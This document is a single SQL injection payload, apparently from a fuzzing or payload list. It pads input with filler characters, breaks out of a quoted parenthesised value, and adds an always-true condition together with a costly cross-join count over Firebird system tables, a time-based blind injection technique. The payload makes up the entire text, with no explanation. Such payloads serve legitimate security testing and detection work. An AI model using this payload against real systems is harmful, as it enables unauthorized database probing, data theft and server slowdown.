11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111nnnnnnnnnnnnnnnnnnnnnnnn1" )  as idwa where 2545 = 2545 or 7552 =  ( select count ( * )  from rdb$fields as t1,rdb$types as t2,rdb$collations as t3,rdb$functions as t4 ) --